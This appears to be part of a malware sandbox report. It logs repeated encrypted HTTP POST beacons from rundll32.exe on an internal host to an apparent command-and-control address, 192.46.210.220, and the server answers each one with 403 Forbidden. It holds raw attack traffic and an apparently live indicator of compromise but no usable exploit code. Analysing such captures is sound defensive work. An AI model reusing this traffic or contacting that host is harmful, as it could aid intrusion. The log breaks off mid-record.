2021-10-28 02:53:33 UTC	49	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:33 UTC	49	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:34 UTC	59	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:34 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49783	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:33 UTC	54	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:33 UTC	54	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:34 UTC	59	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:34 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49790	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:37 UTC	59	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:37 UTC	59	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:38 UTC	68	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:37 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49791	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:37 UTC	64	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:37 UTC	64	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:38 UTC	69	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:38 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49798	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:41 UTC	69	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:41 UTC	69	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:41 UTC	78	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:41 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49799	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:41 UTC	73	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:41 UTC	74	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:42 UTC	78	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:42 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49807	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:45 UTC	79	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:45 UTC	79	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:45 UTC	88	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:45 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49809	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:45 UTC	83	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:45 UTC	83	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:46 UTC	88	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49818	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:50 UTC	88	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:50 UTC	89	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:51 UTC	98	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:51 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49819	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:50 UTC	93	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:50 UTC	93	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:51 UTC	98	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:51 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49750	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:17 UTC	9	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:17 UTC	9	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:18 UTC	19	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49826	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:54 UTC	98	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:54 UTC	98	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:55 UTC	108	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:54 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49827	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:54 UTC	103	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:54 UTC	103	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:55 UTC	108	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:54 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49839	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:58 UTC	108	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:58 UTC	108	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:58 UTC	118	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:58 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49840	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:58 UTC	113	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:58 UTC	113	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 